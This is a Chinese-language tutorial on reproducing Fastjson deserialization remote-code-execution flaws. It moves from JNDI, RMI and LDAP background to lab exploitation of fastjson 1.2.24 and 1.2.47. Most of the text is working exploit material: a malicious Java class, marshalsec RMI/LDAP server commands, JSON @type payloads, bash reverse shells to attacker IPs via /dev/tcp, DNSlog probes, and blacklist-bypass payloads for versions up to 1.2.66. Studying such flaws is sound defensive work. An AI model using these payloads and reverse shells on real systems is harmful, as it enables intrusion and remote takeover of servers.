干貨|最全fastjson漏洞復現與繞過
簡介
Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。
在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:
JNDI
JNDI (Java Naming and Directory Interface)是一組應用程序接口,提供了查找和訪問命名和目錄服務的通用、統一的接口,用于定位網絡、用戶、對象和服務等資源,是J2EE規范中是重要的規范之一。(可以理解為JNDI在J2EE中是一臺交換機,將組件、資源、服務取了名字,再通過名字來查找)
JNDI底層支持RMI遠程對象,JNDI接口可以訪問和調用RMI注冊過的服務。JNDI根據名字動態加載數據,支持的服務有DNS、LDAP、CORBA、RMI
RMI
遠程方法調用
遠程方法調用是分布式編程中的一個基本思想。實現遠程方法調用的技術有很多,比如:CORBA、WebService,這兩種都是獨立于編程語言的。而RMI(Remote Method Invocation)是專為Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法并提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法。RMI依賴的通信協議為JRMP(Java Remote Message Protocol ,Java 遠程消息交換協議),該協議為Java定制,要求服務端與客戶端都為Java編寫。這個協議就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范。在RMI中對象是通過序列化方式進行編碼傳輸的。
遠程對象
使用遠程方法調用,必然會涉及參數的傳遞和執行結果的返回。參數或者返回值可以是基本數據類型,當然也有可能是對象的引用。所以這些需要被傳輸的對象必須可以被序列化,這要求相應的類必須實現 java.io.Serializable 接口,并且客戶端的serialVersionUID字段要與服務器端保持一致。
任何可以被遠程調用方法的對象必須實現 java.rmi.Remote 接口,遠程對象的實現類必須繼承UnicastRemoteObject類。如果不繼承UnicastRemoteObject類,則需要手工初始化遠程對象,在遠程對象的構造方法的調用UnicastRemoteObject.exportObject()靜態方法。如下:
public class HelloImpl implements IHello {
protected HelloImpl() throws RemoteException {
UnicastRemoteObject.exportObject(this, 0);
}
@Override
public String sayHello(String name) {
System.out.println(name);
return name;
}
}
在JVM之間通信時,RMI對遠程對象和非遠程對象的處理方式是不一樣的,它并沒有直接把遠程對象復制一份傳遞給客戶端,而是傳遞了一個遠程對象的Stub,Stub基本上相當于是遠程對象的引用或者代理。Stub對開發者是透明的,客戶端可以像調用本地方法一樣直接通過它來調用遠程方法。Stub中包含了遠程對象的定位信息,如Socket端口、服務端主機地址等等,并實現了遠程調用過程中具體的底層網絡通信細節,所以RMI遠程調用邏輯是這樣的:

從邏輯上來看,數據是在Client和Server之間橫向流動的,但是實際上是從Client到Stub,然后從Skeleton到Server這樣縱向流動的。
1.Server端監聽一個端口,這個端口是JVM隨機選擇的;
2.Client端并不知道Server遠程對象的通信地址和端口,但是Stub中包含了這些信息,并封裝了底層網絡操作;
3.Client端可以調用Stub上的方法;
4.Stub連接到Server端監聽的通信端口并提交參數;
5.遠程Server端上執行具體的方法,并返回結果給Stub;
6.Stub返回執行結果給Client端,從Client看來就好像是Stub在本地執行了這個方法一樣;
那怎么獲取Stub呢?
RMI注冊表
Stub的獲取方式有很多,常見的方法是調用某個遠程服務上的方法,向遠程服務獲取存根。但是調用遠程方法又必須先有遠程對象的Stub,所以這里有個死循環問題。JDK提供了一個RMI注冊表(RMIRegistry)來解決這個問題。RMIRegistry也是一個遠程對象,默認監聽在傳說中的1099端口上,可以使用代碼啟動RMIRegistry,也可以使用rmiregistry命令。
要注冊遠程對象,需要RMI URL和一個遠程對象的引用。
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);
LocateRegistry.getRegistry()會使用給定的主機和端口等信息本地創建一個Stub對象作為Registry遠程對象的代理,從而啟動整個遠程調用邏輯。服務端應用程序可以向RMI注冊表中注冊遠程對象,然后客戶端向RMI注冊表查詢某個遠程對象名稱,來獲取該遠程對象的Stub。
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
使用RMI Registry之后,RMI的調用關系是這樣的:

所以其實從客戶端角度看,服務端應用是有兩個端口的,一個是RMI Registry端口(默認為1099),另一個是遠程對象的通信端口(隨機分配的)。這個通信細節比較重要,真實利用過程中可能會在這里遇到一些坑。
動態加載類
RMI核心特點之一就是動態類加載,如果當前JVM中沒有某個類的定義,它可以從遠程URL去下載這個類的class,動態加載的對象class文件可以使用Web服務的方式進行托管。這可以動態的擴展遠程應用的功能,RMI注冊表上可以動態的加載綁定多個RMI應用。對于客戶端而言,服務端返回值也可能是一些子類的對象實例,而客戶端并沒有這些子類的class文件,如果需要客戶端正確調用這些子類中被重寫的方法,則同樣需要有運行時動態加載額外類的能力。客戶端使用了與RMI注冊表相同的機制。RMI服務端將URL傳遞給客戶端,客戶端通過HTTP請求下載這些類。
這個概念比較重要,JNDI注入的利用方法中也借助了動態加載類的思路。
這里涉及到的角色:客戶端、RMI注冊表、遠程對象服務器、托管class文件的Web服務器可以分別位于不同的主機上:

LDAP
LDAP(Lightweight Directory Access Protocol)是輕量級目錄訪問協議,用于訪問目錄服務,基于X.500目錄訪問協議
JNDI注入
簡單來說,JNDI (Java Naming and Directory Interface) 是一組應用程序接口,它為開發人員查找和訪問各種資源提供了統一的通用接口,可以用來定位用戶、網絡、機器、對象和服務等各種資源。比如可以利用JNDI在局域網上定位一臺打印機,也可以用JNDI來定位數據庫服務或一個遠程Java對象。JNDI底層支持RMI遠程對象,RMI注冊的服務可以通過JNDI接口來訪問和調用。
JNDI支持多種命名和目錄提供程序(Naming and Directory Providers),RMI注冊表服務提供程序(RMI Registry Service Provider)允許通過JNDI應用接口對RMI中注冊的遠程對象進行訪問操作。將RMI服務綁定到JNDI的一個好處是更加透明、統一和松散耦合,RMI客戶端直接通過URL來定位一個遠程對象,而且該RMI服務可以和包含人員,組織和網絡資源等信息的企業目錄鏈接在一起。

JNDI接口在初始化時,可以將RMI URL作為參數傳入,而JNDI注入就出現在客戶端的lookup()函數中,如果lookup()的參數可控就可能被攻擊。
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider對應的Factory
env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test");
CVE-2017-18349
CVE-2017-18349即Fastjson1.2.24 反序列化漏洞RCE
漏洞原理
fastjson在解析json對象時,會使用autoType實例化某一個具體的類,并調用set/get方法訪問屬性。漏洞出現在Fastjson autoType處理json對象時,沒有對@type字段進行完整的安全性驗證,我們可以傳入危險的類并調用危險類連接遠程RMI服務器,通過惡意類執行惡意代碼,進而實現遠程代碼執行漏洞。
影響版本為 fastjson < 1.2.25
漏洞復現
首先進入fastjson 1.2.24的docker環境,使用java -version查看一下java的版本為1.8.0_102。因為java環境為102,沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用鏈結合JNDI注入執行遠程命令

安裝javac環境,這里直接使用20版本替換102
cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version java -version
執行命令完成之后發現java版本已經變成了20

編輯惡意類代碼,起名為evilclass.java
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用javac編譯evilclass.java文件生成evilclass.class

這里需要搭建RMI服務,首先下載marshalsec
git clone https://github.com/mbechler/marshalsec.git
安裝maven并編譯marshalsec生成jar
apt-get install maven mvn clean package -DskipTests

稍微等一下,可以看到已經創建成功

我們進入到marshalsec的target目錄里面進行查看已經生成了marshalsec-0.0.3.3-SNAPSHOT-all.jar,然后使用marshalsec搭建一個RMI服務器,這里的ip就是你攻擊機的ip,端口可以隨意
這里也可以使用啟動LDAP服務,效果是一樣的
lsjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.8/#evilclass" 9999java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.8/#evilclass" 9999
這里我使用RMI,可以看到請求成功

bp在靶機的fastjson頁面抓包

這里需要改的有三個地方,第一個地方需要把GET方法改成POST方法,第二個地方需要添加Content-Type:application/json,第三個地方就是寫入漏洞利用的poc
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.1.8:9999/evilclass","autoCommit":true}}
發包即可

進入docker里查看發現已經創建了test文件

若需要反彈shell只需要把java文件中的String[] commands改為bash反彈命令即可,這里不再贅述
import java.lang.Runtime;import java.lang.Process;public class evilclass{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.1.8/9001 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}
CNVD‐2019‐22238
CNVD-2019-22238即Fastjson1.2.47 反序列化漏洞
漏洞原理
Fastjson提供了autotype功能,允許用戶在反序列化數據中通過“@type”指定反序列化的類型,其次,Fastjson自定義的反序列化機制時會調用指定類中的setter方法及部分getter方法,那么當組件開啟了autotype功能并且反序列化不可信數據時,攻擊者可以構造數據,使目標應用的代碼執行流程進入特定類的特定setter或者getter方法中,若指定類的指定方法中有可被惡意利用的邏輯(也就是通常所指的“Gadget”),則會造成一些嚴重的安全問題。并且在Fastjson 1.2.47及以下版本中,利用其緩存機制可實現對未開啟autotype功能的繞過。
影響版本為 fastjson < 1.2.47
漏洞復現
首先進入1.2.47的docker環境

這里的jdk版本還是8u102,這個版本沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以繼續利用RMI或者LDAP進行命令執行
上面用了RMI進行命令執行,這里使用LDAP進行漏洞復現
LDAP使用的工具為fastjson_tool,首先clone到本地
git clone https://github.com/wyzxxz/fastjson_rce_tool.git
首先啟動LDAP服務,8888為LDAP服務的端口,后面跟的是bash反彈shell的命令
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.1.8 8888 "bash=/bin/bash -i >& /dev/tcp/192.168.1.10/9001 0>&1"
這里執行命令之后給出了兩個payload,我們使用下面這個payload復制一下

這里還是跟上面一樣需要改GET方法為POST方法,添加Content-Type:application/json,在就是把之前生成的payload復制
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.8:8888/Object","autoCommit":true}}
發包使用nc監聽8888端口即可收到反彈shell

fastjson深入探究
首先如何快速判斷是否使用了fastjson呢
第一種方法就是使用報錯回顯
這里首先在web頁面抓包

然后修改GET為POST,添加Content-Type:application/json,在發送一個{"test":",即可得到回顯

第二種方法就是使用dnslog測試,使用如下payload,這里的dnslog使用dnslog獲得的網址進行替換即可
{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"}Set[{"@type":"java.net.URL","val":"dnslog"}]Set[{"@type":"java.net.URL","val":"dnslog"}{{"@type":"java.net.URL","val":"dnslog"}:0
第三種方法就是使用nc監聽端口,在之前漏洞復現中已經講過,就不再贅述了
我們在前面用到的都是遠程加載RMI或LDAP服務端上的惡意類,即遠程加載惡意類,在一些情況下,這種遠程加載惡意類的方法并不能百分之百能夠利用成功,這里就可以使用本地利用方式,就可以不用遠程加載惡意類
首先生成test.java文件
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("ping test.0g7slo.dnslog.cn"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); }}
這里就可以ping一下dnslog來查看攻擊是否成功,這里還有一種情況就是fastjson在真實情況下不出網,那么肯定是不能ping通的,這時候我們就可以選擇寫入webshell到web路徑,前提是要知道絕對路徑,或者是使用無文件回顯來利用
編譯test.java生成class類文件
javac test.java
然后對class類文件進行base64編碼,這里使用到py腳本
import base64fin = open(r"test.class", "rb")fout = open(r"base64.txt", "w")s = base64.encodestring(fin.read()).replace("", "")fout.write(s)fin.close()fout.close()
運行之后就會把test.class文件轉換為base64.txt文件,這時候再把base64.txt文件替換到payload中即可在dnslog中回顯
image-20210819102057605
< 1.2.41
第一個Fastjson反序列化漏洞爆出后,阿里在1.2.25版本設置了autoTypeSupport屬性默認為false,并且增加了checkAutoType()函數,通過黑白名單的方式來防御Fastjson反序列化漏洞,因此后面發現的Fastjson反序列化漏洞都是針對黑名單繞過來實現攻擊利用的目的的。
com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名單,fastjson有個判斷條件判斷類名是否以"L"開頭、以";"結尾,是的話就提取出其中的類名在加載進來
那么就可以構造如下exp
{ "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true}
< 1.2.42
阿里在發現這個繞過漏洞之后做出了類名如果為L開頭,;結尾的時候就先去掉L和;進行黑名單檢驗的方法,但是沒有考慮到雙寫或多寫的情況,也就是說這種方法只能防御一組L和;,構造exp如下,即雙寫L和;
{ "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}
< 1.2.47
在1.2.47版本及以下的情況下,loadClass中默認cache為true,首先使用java.lang.Class把獲取到的類緩存到mapping中,然后直接從緩存中獲取到了com.sun.rowset.jdbcRowSetlmpl這個類,即可繞過黑名單
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:9999/exp", "autoCommit": true }}
< 1.2.66
基于黑名單繞過,autoTypeSupport屬性為true才能使用,在1.2.25版本之后autoTypeSupport默認為false
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}